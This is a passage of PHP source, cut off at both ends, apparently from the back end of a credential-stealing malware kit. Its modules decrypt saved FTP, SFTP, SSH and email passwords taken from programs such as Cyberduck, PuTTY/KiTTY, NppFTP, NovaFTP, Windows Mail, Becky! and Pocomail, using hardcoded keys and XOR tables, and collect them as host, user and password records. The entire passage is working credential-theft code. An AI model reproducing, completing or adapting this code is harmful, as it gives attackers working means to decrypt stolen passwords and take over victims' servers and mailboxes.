$stream->read_str(); $this->add_cert($cert, $pvt_key); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // LinasFTP class module_linasftp extends module { private function decrypt($encrypted_password) { $encrypted_password = trim($encrypted_password); if (strlen($encrypted_password) == 0 || (strlen($encrypted_password) % 3) != 0 || !is_num($encrypted_password)) return ''; $result = ''; $XorStr = 'LINASFTP1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $start = int_divide(strlen($encrypted_password), 3); for ($i = 0; $i < int_divide(strlen($encrypted_password), 3); $i++) { $enc_char = intval(substr($encrypted_password, $i*3, 3)); $result .= chr(ord($XorStr[($start+$i)%strlen($XorStr)]) ^ $enc_char); } return $result; } public function import_item($stream, $id) { switch ($id) { case 0x0000: $host = $stream->read_str(); $user = $stream->read_str(); $pass = $this->decrypt($stream->read_str()); $port = $stream->read_str(); $dir = $stream->read_str(); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Cyberduck class module_cyberduck extends module { private $pass_keypair = array(); private function process_xml($value) { if (!strlen($value)) return; $xml_parser = new XMLParser($value); $parsed_xml = $xml_parser->parse(); if (!$xml_parser->isError || is_array($parsed_xml)) { if (isset($parsed_xml['plist']) && is_array($parsed_xml['plist'])) { $plist = $parsed_xml['plist']; if (isset($plist['dict']) && is_array($plist['dict'])) { $dict = $plist['dict']; if (isset($dict['key']) && is_array($dict['key']) && isset($dict['string']) && is_array($dict['string']) && (count($dict['key']) == count($dict['string']))) { $pairs = array(); for ($i = 0; $i < count($dict['key']); $i++) { $pairs[$dict['key'][$i]] = $dict['string'][$i]; } $proto = Utf8ToWin(assign($pairs['Protocol'])); $host = Utf8ToWin(assign($pairs['Hostname'])); $user = Utf8ToWin(assign($pairs['Username'])); $pass = Utf8ToWin(assign($this->pass_keypair[$proto.'://'.$user.'@'.$host])); $port = Utf8ToWin(assign($pairs['Port'])); $dir = Utf8ToWin(assign($pairs['Path'])); $this->add_ftp(append_port_dir(ftp_force_ssh($host, $proto == 'sftp'), $port, $dir), $user, $pass); } } } } else { $this->log->add("ERR_XML_PARSE"); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $xml_file = $stream->read_str(); $this->process_xml($xml_file); break; case 0x1000: $url = $stream->read_str(); $pass = $stream->read_str(); $this->pass_keypair[Utf8ToWin($url)] = $pass; break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Putty class module_putty extends module { private function rebuild_table(&$table, $base) { $p = 0; for ($i = 0; $i < strlen($table); $i++) { $j = (ord($base[$p])+$i) % strlen($table); $c = $table[$j]; $table[$j] = $table[$i]; $table[$i] = $c; $p++; if ($p >= strlen($base)) { $p = 0; } } } private function decrypt($host, $term_type, $encrypted_pass) { if (strlen($encrypted_pass) <= 5) return ''; if (!strlen($term_type)) $term_type = 'xterm'; $table = 'AZERTYUIOPQSDFGHJKLMWXCVBNazertyuiopqsdfghjklmwxcvbn0123456789+/'; $base = substr($encrypted_pass, 0, 5); $encrypted_pass = substr($encrypted_pass, 5); $this->rebuild_table($table, $base); $cl = 0; $decrypted_pass = ''; for ($n = 0; $n < strlen($encrypted_pass); $n++) { if ($table[strlen($table)-1] == $encrypted_pass[$n]) { for ($i = 0; $i < strlen($table); $i++) { if ($table[$i] == $encrypted_pass[$n]) { $cl = $cl + $i; break; } } $base = $host.$term_type.'KiTTY'; $this->rebuild_table($table, $base); continue; } for ($i = 0; $i < strlen($table); $i++) { if ($table[$i] == $encrypted_pass[$n]) { $decrypted_pass .= chr($cl+$i); break; } } $cl = 0; } return $decrypted_pass; } public function import_item($stream, $id) { switch ($id) { case 0x0000: $host = $stream->read_str(); $user = $stream->read_str(); $pass = $stream->read_str(); $port = $stream->read_str(); if (strlen($port) == 4) $port = strval(data_int32($port)); else $port = ''; $term_type = $stream->read_str(); $pass = $this->decrypt($host, $term_type, $pass); $this->add_ftp(append_port(ftp_force_ssh($host), $port), $user, $pass); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Notepad++ (NppFTP plugin) class module_notepadpp extends module { private $master_pass; // Actually key is NppFTP00, with parity bits unset using des_set_odd_parity private function decrypt($encrypted_password, $decryption_key = 'OppFTQ11') { if (!strlen($encrypted_password)) return ''; $encrypted_password = hextostr($encrypted_password); if ($encrypted_password === false) return ''; $descriptor = mcrypt_module_open(MCRYPT_DES, '', 'ecb', ''); if (!$descriptor) { $this->log->add("ERR_CANNOT_INITIALIZE_MCRYPT_MODULE"); return ''; } $iv = $decryption_key; mcrypt_generic_init($descriptor, $decryption_key, $iv); $plain_text = decrypt_cfbblock($descriptor, $encrypted_password, $iv); mcrypt_generic_deinit($descriptor); mcrypt_module_close($descriptor); return $plain_text; } private function read_xml_item($xml_array) { if (isset($xml_array['attributes']) && is_array($xml_array['attributes'])) { $attr = $xml_array['attributes']; $host = assign($attr['hostname']); $user = assign($attr['username']); $pass = assign($attr['password']); $port = assign($attr['port']); $dir = assign($attr['initialDir']); $protocol = assign($attr['securityMode']); $host = utf8_decode($host); $user = utf8_decode($user); $pass = $this->decrypt(utf8_decode($pass)); $dir = utf8_decode($dir); $protocol = utf8_decode($protocol); $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == '3'), $port, $dir), $user, $pass); } foreach ($xml_array as $value) { if (is_array($value)) $this->read_xml_item($value); } } private function read_npp_item($xml_array) { if (isset($xml_array['attributes']) && is_array($xml_array['attributes'])) { $attr = $xml_array['attributes']; $pass = trim(utf8_decode(assign($attr['MasterPass']))); if ($pass != '') $this->master_pass = $pass; } foreach ($xml_array as $value) { if (is_array($value)) $this->read_npp_item($value); } } private function rec_scan_xml_array($xml_array) { foreach ($xml_array as $key=>$value) { if (is_array($value)) { if (strpos(strval($key), 'NppFTP') !== false) $this->read_npp_item($value); if (strpos(strval($key), 'Profile') !== false && strlen($this->master_pass) == 0) $this->read_xml_item($value); $this->rec_scan_xml_array($value); } } } private function process_xml($value) { if (!strlen($value)) return; $this->master_pass = ''; $xml_parser = new XMLParser(utf8_encode($value)); $parsed_xml = $xml_parser->parse(); if (!$xml_parser->isError || is_array($parsed_xml)) { $this->rec_scan_xml_array($parsed_xml); } else { $this->log->add("ERR_XML_PARSE"); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $this->process_xml($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // CoffeeCup Visual Site Designer class stream_vs_designer extends stream { public function read_word_str() { if (!$this->state) return false; return $this->read_strlen($this->read_word()); } } class module_vs_designer extends module { protected function process_account_data($account_data) { if (strlen($account_data) <= 2) return; $stream = new stream_vs_designer($account_data, $this->log); $ftp_count = $stream->read_word(); while ($ftp_count-- && $stream->state && !$stream->eof()) { $stream->read_word_str(); // Name $host = $stream->read_word_str(); // Host $user = $stream->read_word_str(); // User $pass = $stream->read_word_str(); // Pass $dir = $stream->read_word_str(); // Dir $port = $stream->read_word(); // Port $stream->read_skip(11); // Uknown data $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $host = $stream->read_str(); $user = $stream->read_str(); $pass = $stream->read_str(); $port = $stream->read_str(); $dir = $stream->read_str(); if (strlen($port) == 4) $port = strval(data_int32($port)); else $port = ''; $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); break; case 0x0001: $account_data = $stream->read_str(); $this->process_account_data($account_data); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // FTPShell class module_ftpshell extends module { protected function process_fsi_file($account_data) { if (strlen($account_data) == 0) return; $lines = parse_lines($account_data); $state = 0; foreach ($lines as $line) { switch ($state) { case 0: if ($line == '!~*NEWSITE*~!') { $state = 1; $host = ''; $user = ''; $port = ''; } break; case 1: $state = 2; break; case 2: $host = $line; $state = 3; break; case 3: $port = $line; $state = 4; break; case 4: $state = 5; break; case 5: $user = $line; $state = 6; break; case 6: $pass = $line; $this->add_ftp(append_port($host, $port), $user, $pass); $state = 0; break; } } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $fsi_file = $stream->read_str(); $this->process_fsi_file($fsi_file); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // FTPInfo class module_ftpinfo extends module { private function decrypt($encrypted_password, $decryption_key) { if (!strlen($encrypted_password)) return ''; $decoded_password = hextostr($encrypted_password); if ($decoded_password === false) { $this->log->add('ERR_INVALID_HEX_STRING'); return ''; } $decrypted_password = ''; for ($i = 0; $i < strlen($decoded_password); $i++) { $decrypted_password .= chr(ord($decoded_password[$i]) ^ $i ^ ($i+1) ^ ord($decryption_key[$i%strlen($decryption_key)])); } return $decrypted_password; } private function read_xml_item($xml_array) { $host = utf8_decode(str_replace(' ', ' ', assign($xml_array['Address']))); $user = $this->decrypt(assign($xml_array['Login']), '19De^D$#'); $pass = $this->decrypt(assign($xml_array['Password']), 'qpdm()3-'); $port = utf8_decode(str_replace(' ', ' ', assign($xml_array['Port']))); $this->add_ftp(append_port($host, $port), $user, $pass); foreach ($xml_array as $value) { if (is_array($value)) $this->read_xml_item($value); } } private function rec_scan_xml_array($xml_array) { foreach ($xml_array as $key=>$value) { if (is_array($value)) { if (strpos(strval($key), 'data') !== false) { $this->read_xml_item($value); } $this->rec_scan_xml_array($value); } } } private function process_xml($value) { if (!strlen($value)) return; $value = str_replace('encoding="Windows-1251"', 'encoding="UTF-8"', $value); $xml_parser = new XMLParser(utf8_encode($value)); $parsed_xml = $xml_parser->parse(); if (!$xml_parser->isError || is_array($parsed_xml)) { $this->rec_scan_xml_array($parsed_xml); } else { $this->log->add("ERR_XML_PARSE"); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $xml_file = $stream->read_str(); $this->process_xml($xml_file); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // NexusFile class module_nexusfile extends module { private function decrypt($cipher_text, $key = 'xxx.xiles.net') { $cipher_text = trim($cipher_text); if (!strlen($cipher_text) || !strlen($key)) return ''; $decoded_str = hextostr($cipher_text); if ($decoded_str === false) { // cannot decode hex string, report error $this->log->add('ERR_INVALID_HEX_STRING'); return ''; } $cipher_text = ''; for ($i = 0; $i < strlen($decoded_str); $i++) { $cipher_text .= chr(0).$decoded_str[$i]; } $crypt_array = array(); for ($i = 0; $i < 256; $i++) { array_push($crypt_array, $i); } $tmp_array = array(); for ($i = 0; $i < 256; $i++) { array_push($tmp_array, ord($key[$i % strlen($key)])); } $v = 0; for ($i = 0; $i < 256; $i++) { $v = ($tmp_array[$i] + $crypt_array[$i] + $v) & 0xff; $t = $crypt_array[$i]; $crypt_array[$i] = $crypt_array[$v]; $crypt_array[$v] = $t; } $v11 = 0; $v12 = 0; $result = ''; for ($i = 0; $i < strlen($cipher_text); $i+=2) { $v11 = ($v11 + 1) & 0xff; $v12 = ($crypt_array[$v11] + $v12) & 0xff; $t = $crypt_array[$v11]; $crypt_array[$v11] = $crypt_array[$v12]; $crypt_array[$v12] = $t; $cipher_wide_char = ((ord($cipher_text[$i]) << 8) | (ord($cipher_text[$i+1]))) ^ $crypt_array[($crypt_array[$v11]+$crypt_array[$v12]) & 0xff]; $result .= chr($cipher_wide_char & 0xff).chr(($cipher_wide_char >> 8) & 0xff); } return unicode_to_ansi($result); } protected function process_ini_file($file_contents) { if (strlen($file_contents) <= 4) return; $file_contents = UnkTextToAnsi($file_contents); $parsed_ini = parse_ini($file_contents); foreach ($parsed_ini as $section) { if (!is_array($section)) continue; $host = assign($section["host"]); $user = assign($section["user"]); $pass = $this->decrypt(assign($section["pass"])); $dir = assign($section["remotedir"]); $port = assign($section["port"]); $servertype = assign($section["servertype"]); $this->add_ftp(append_port_dir(ftp_force_ssh($host, $servertype == 'SFTP'), $port, $dir), $user, $pass); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $ini_file = $stream->read_str(); $this->process_ini_file($ini_file); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // FastStone Browser class module_fs_browser extends module { protected function process_db_file($file_data) { if (strlen($file_data) == 0) return; $lines = parse_lines($file_data); foreach ($lines as $line) { $this->add_ftp($line); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $db_file = $stream->read_str(); $this->process_db_file($db_file); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // CoolNovo class module_coolnovo extends module_chrome_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // WinZip class module_winzip extends module { private $password_pairs = array(); private $ftp_dir; private function read_xml_item($host, $port, $xml_array) { $user = assign($xml_array['user']); $pass = assign($xml_array['winex']); if ($pass != '') $pass = assign($this->password_pairs[$pass]); $this->add_ftp(append_port_dir($host, $port, $this->ftp_dir), $user, $pass); foreach ($xml_array as $value) { if (is_array($value)) $this->read_xml_item($host, $port, $value); } } private function rec_scan_xml_array($xml_array, $find_dir_mode) { foreach ($xml_array as $key=>$value) { if (is_array($value)) { if ($find_dir_mode) { if (strpos(strval($key), 'filedisposition') !== false && isset($value['attributes']) && is_array($value['attributes'])) { $this->ftp_dir = assign($value['attributes']['folder']); } } else { if (strpos(strval($key), 'site') !== false && isset($value['attributes']) && is_array($value['attributes'])) { $host = assign($value['attributes']['server']); $port = assign($value['attributes']['port']); $this->read_xml_item($host, $port, $value); } } $this->rec_scan_xml_array($value, $find_dir_mode); } } } private function process_xml($value) { if (!strlen($value)) return; $xml_parser = new XMLParser($value); $parsed_xml = $xml_parser->parse(); if (!$xml_parser->isError || is_array($parsed_xml)) { $this->ftp_dir = ''; $this->rec_scan_xml_array($parsed_xml, true); // find directory $this->rec_scan_xml_array($parsed_xml, false); // process ftp record } else { $this->log->add("ERR_XML_PARSE"); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $host = $stream->read_str(); $user = $stream->read_str(); $pass = $stream->read_str(); $port = $stream->read_str(); $dir = $stream->read_str(); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); break; case 0x0001: $encrypted_pass = $stream->read_str(); $decrypted_pass = $stream->read_str(); $decrypted_pass = ztrim(unicode_to_ansi($decrypted_pass)); $this->password_pairs[$encrypted_pass] = $decrypted_pass; break; case 0x0002: $xml_file = $stream->read_str(); $this->process_xml($xml_file); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Yandex.Internet class module_yandexinternet extends module_chrome_base { } // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // MyFTP class module_myftp extends module { private function decrypt($encrypted_password) { $decrypted_password = ''; $xor_array = array(0x85 ^ 0x31, 0x85 ^ 0x31, 0x83 ^ 0x31, 0x81 ^ 0x31); for ($i = 0; $i < strlen($encrypted_password); $i++) { $decrypted_password .= chr(ord($encrypted_password[$i]) ^ $xor_array[$i%sizeof($xor_array)]); } return $decrypted_password; } protected function process_ini_file($file_contents) { if (strlen($file_contents) <= 4) return; $parsed_ini = parse_ini($file_contents); foreach ($parsed_ini as $section) { if (!is_array($section)) continue; $host = assign($section['remote hostname']); $user = assign($section['remote username']); $pass = $this->decrypt(assign($section['remote password'])); $port = assign($section['remote port']); $dir = assign($section['remote path']); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $ini_contents = $stream->read_str(); $this->process_ini_file($ini_contents); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // sherrod FTP class module_sherrodftp extends module { private function decrypt($encrypted_password) { $encrypted_password = trim($encrypted_password); if (!strlen($encrypted_password)) return ''; $crypt_key = base64_decode('Zz1o//1yM0o='); $crypt_iv = base64_decode('QAroHxawL5k='); $decoded_password = base64_decode($encrypted_password); if (!strlen($decoded_password)) { $this->log->add('ERR_INVALID_BASE64_STRING'); return ''; } $plain_text = mcrypt_decrypt(MCRYPT_DES, $crypt_key, $decoded_password, MCRYPT_MODE_CBC, $crypt_iv); $decrypted_password = ''; if (strlen($plain_text)) { $char = $plain_text[strlen($plain_text)-1]; while (strlen($plain_text) && ($plain_text[strlen($plain_text)-1] == $char)) $plain_text = substr($plain_text, 0, -1); $decrypted_password = $plain_text; } return $decrypted_password; } private function read_xml_item($xml_array) { $host = Utf8ToWin(assign($xml_array['Host'])); $user = Utf8ToWin(assign($xml_array['User'])); if (!strlen($user)) $user = Utf8ToWin(assign($xml_array['UserName'])); $pass = Utf8ToWin($this->decrypt(assign($xml_array['Password']))); $port = Utf8ToWin(assign($xml_array['Port'])); $dir = Utf8ToWin(assign($xml_array['RemoteDirectory'])); $proto = Utf8ToWin(assign($xml_array['Protocol'])); $this->add_ftp(append_port_dir(ftp_force_ssh($host, $proto == 'SFTP'), $port, $dir), $user, $pass); foreach ($xml_array as $value) { if (is_array($value)) $this->read_xml_item($value); } } private function rec_scan_xml_array($xml_array) { foreach ($xml_array as $key=>$value) { if (is_array($value)) { if (strpos(strval($key), 'HistoryItem') !== false || strpos(strval($key), 'FavoriteSettings') !== false) { $this->read_xml_item($value); } $this->rec_scan_xml_array($value); } } } private function process_xml($value) { if (!strlen($value)) return; $value = CutXMLEncoding($value); $xml_parser = new XMLParser($value); $parsed_xml = $xml_parser->parse(); if (!$xml_parser->isError || is_array($parsed_xml)) { $this->rec_scan_xml_array($parsed_xml); } else { $this->log->add("ERR_XML_PARSE"); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $xml_file = $stream->read_str(); $this->process_xml($xml_file); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // NovaFTP class module_novaftp extends module { private function decrypt($encrypted_password) { $encrypted_password = trim($encrypted_password); if (!strlen($encrypted_password)) return ''; $decoded_password = base64_decode($encrypted_password); if (!strlen($decoded_password)) { $this->log->add('ERR_INVALID_BASE64_STRING'); return ''; } $xor_str = 's235280i113755-381ds22'; $decrypted_password = ''; for ($i = 0; $i < strlen($decoded_password); $i++) { $decrypted_password .= chr(ord($decoded_password[$i]) ^ ord($xor_str[$i % strlen($xor_str)])); } return $decrypted_password; } protected function process_sqlite_file($file_contents) { if (strlen($file_contents) == 0) return; global $global_temporary_directory; if (!class_exists('SQLite3') && !class_exists('PDO')) { $this->log->add("NOTIFY_PDO_AND_SQLITE3_CLASSES_DO_NOT_EXIST"); return; } $tmp_name = tempnam($global_temporary_directory, 'sqlite'); if (!is_writable($global_temporary_directory)) { $this->log->add("ERR_CANNOT_ACCESS_SQLITE_DB_FILE"); return; } $fp = fopen($tmp_name, "wb"); if (!$fp) { $this->log->add("ERR_CANNOT_ACCESS_SQLITE_DB_FILE"); return; } if (fwrite($fp, $file_contents) != strlen($file_contents)) { fclose($fp); unlink($tmp_name); $this->log->add("ERR_CANNOT_WRITE_SQLITE_DB_FILE"); return; } fclose($fp); if (class_exists('SQLite3')) { // use SQLite3 php-extension try { $database = new SQLite3($tmp_name, SQLITE3_OPEN_READONLY); if (!$database) { $this->log->add("ERR_CANNOT_OPEN_SQLITE_DB"); } else { try { $results = @$database->query('SELECT * FROM "bmk_ftp"'); if ($results) { while ($row = $results->fetchArray()) { $host = assign($row['host_name']); $user = assign($row['user_name']); $pass = assign($row['user_pass']); $pass = $this->decrypt($pass); $port = assign($row['host_port']); $dir = assign($row['host_start_directory']); $host = Utf8ToWin($host); $user = Utf8ToWin($user); $pass = Utf8ToWin($pass); $dir = Utf8ToWin($dir); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } } } catch(Exception $e) { } @$database->close(); unset($database); } } catch (Exception $e) { if (isset($database)) { @$database->close(); unset($database); } $this->log->add("ERR_SQLITE_EXCEPTION: $e"); } } else if (class_exists('PDO')) { // use PDO driver $drivers = PDO::getAvailableDrivers(); $driver_available = array_search('sqlite', $drivers) !== false; if ($driver_available) { try { /*** create the database file in /tmp ***/ $dbh = new PDO("sqlite:$tmp_name"); if (!$dbh) $this->log->add("ERR_CANNOT_OPEN_PDO_SQLITE_DB"); else { /*** set all errors to exceptions ***/ $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); try { $sql = 'SELECT * FROM "bmk_ftp"'; foreach ($dbh->query($sql) as $row) { $host = assign($row['host_name']); $user = assign($row['user_name']); $pass = assign($row['user_pass']); $pass = $this->decrypt($pass); $port = assign($row['host_port']); $dir = assign($row['host_start_directory']); $host = Utf8ToWin($host); $user = Utf8ToWin($user); $pass = Utf8ToWin($pass); $dir = Utf8ToWin($dir); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } } catch(Exception $e) { } unset($dbh); } } catch (Exception $e) { if (isset($dbh)) { unset($dbh); } $this->log->add("ERR_PDO_EXCEPTION: $e"); } } } unlink($tmp_name); } public function import_item($stream, $id) { switch ($id) { case 0x0000: $db_file = $stream->read_str(); $this->process_sqlite_file($db_file); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Windows Mail Base Class class module_windows_mail_base extends module { private $password_pairs = array(); private function read_record_data($xml_array, $name, $xml_tag) { $data = assign($xml_array[$name.'_'.$xml_tag]); if (is_array($data)) return Utf8ToWin(assign($data['value'])); else return ''; } private function read_record($xml_array, $name, $protocol) { $host = $this->read_record_data($xml_array, $name, 'Server'); $user = $this->read_record_data($xml_array, $name, 'User_Name'); $pass = assign($this->password_pairs[$this->read_record_data($xml_array, $name, 'Password2')]); $port = intval(hexdec($this->read_record_data($xml_array, $name, 'Port'))); $email = $this->read_record_data($xml_array, 'SMTP', 'Email_Address'); $sicily = $this->read_record_data($xml_array, 'SMTP', 'Use_Sicily'); $this->add_email($email, $protocol, $host, $port, $user, $pass); if ($protocol == 'smtp' && $sicily == '00000002') { // Copy auth settings from POP3 $user = $this->read_record_data($xml_array, 'POP3', 'User_Name'); $pass = assign($this->password_pairs[$this->read_record_data($xml_array, 'POP3', 'Password2')]); $this->add_email($email, $protocol, $host, $port, $user, $pass); // Copy auth settings from IMAP $user = $this->read_record_data($xml_array, 'IMAP', 'User_Name'); $pass = assign($this->password_pairs[$this->read_record_data($xml_array, 'IMAP', 'Password2')]); $this->add_email($email, $protocol, $host, $port, $user, $pass); } } private function read_xml_item($xml_array) { $this->read_record($xml_array, 'POP3', 'pop3'); $this->read_record($xml_array, 'SMTP', 'smtp'); $this->read_record($xml_array, 'IMAP', 'imap'); $this->read_record($xml_array, 'HTTPMail', 'http'); foreach ($xml_array as $value) { if (is_array($value)) $this->read_xml_item($value); } } private function rec_scan_xml_array($xml_array) { foreach ($xml_array as $key=>$value) { if (is_array($value)) { if (strpos(strval($key), 'MessageAccount') !== false) { $this->read_xml_item($value); } $this->rec_scan_xml_array($value); } } } private function process_xml($value) { if (!strlen($value)) return; $value = CutXMLEncoding($value); $xml_parser = new XMLParser($value); $parsed_xml = $xml_parser->parse(); if (!$xml_parser->isError || is_array($parsed_xml)) { $this->rec_scan_xml_array($parsed_xml); } else { // do not report xml errors here // $this->log->add("ERR_XML_PARSE"); } } public function import_item($stream, $id) { switch ($id) { case 0x0001: $encrypted_pass = $stream->read_str(); $decrypted_pass = ztrim(unicode_to_ansi($stream->read_str())); $this->password_pairs[$encrypted_pass] = $decrypted_pass; break; case 0x0002: $xml_file = $stream->read_str(); $this->process_xml($xml_file); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Windows Mail class module_windows_mail extends module_windows_mail_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Windows Live Mail class module_windows_live_mail extends module_windows_mail_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Becky! class module_becky extends module { private function decrypt($encrypted_password) { $decrypted_password = ''; for ($i = 0; $i < strlen($encrypted_password); $i++) { $decrypted_password .= chr(ord($encrypted_password[$i]) ^ 2); } return base64_decode(base64_decode($decrypted_password)); } protected function process_ini_file($file_contents) { if (strlen($file_contents) <= 4) return; $parsed_ini = parse_ini($file_contents); foreach ($parsed_ini as $section) { if (!is_array($section)) continue; $mail_server = assign($section['mailserver']); $smtp_server = assign($section['smtpserver']); $smtp_port = assign($section['smtpport']); $user = assign($section['userid']); $pass = $this->decrypt(assign($section['passwd'])); $email = assign($section['mailaddress']); $protocol = assign($section['protocol']); if ($protocol == '1') { $mail_port = assign($section['imap4port']); $protocol = 'imap'; } else { $mail_port = assign($section['pop3port']); $protocol = 'pop3'; } // imap/pop3 $this->add_email($email, $protocol, $mail_server, $mail_port, $user, $pass); // smtp $this->add_email($email, 'smtp', $smtp_server, $smtp_port, $user, $pass); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $ini_contents = $stream->read_str(); $this->process_ini_file($ini_contents); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Pocomail class module_pocomail extends module { private function decrypt($encrypted_password) { $encrypted_password = trim($encrypted_password); if (!strlen($encrypted_password)) return ''; $decoded_password = hextostr($encrypted_password); $decrypted_password = ''; $seed = 0x2A9A; for ($i = 0; $i < strlen($decoded_password); $i++) { $decrypted_password .= chr(ord($decoded_password[$i]) ^ (($seed >> 8) & 0xff)); $seed += ord($decoded_password[$i]); $seed = hexdec(gmp_strval(gmp_and(gmp_add(gmp_mul("$seed", "0x8141"), "0x3171"), "0xffff"), 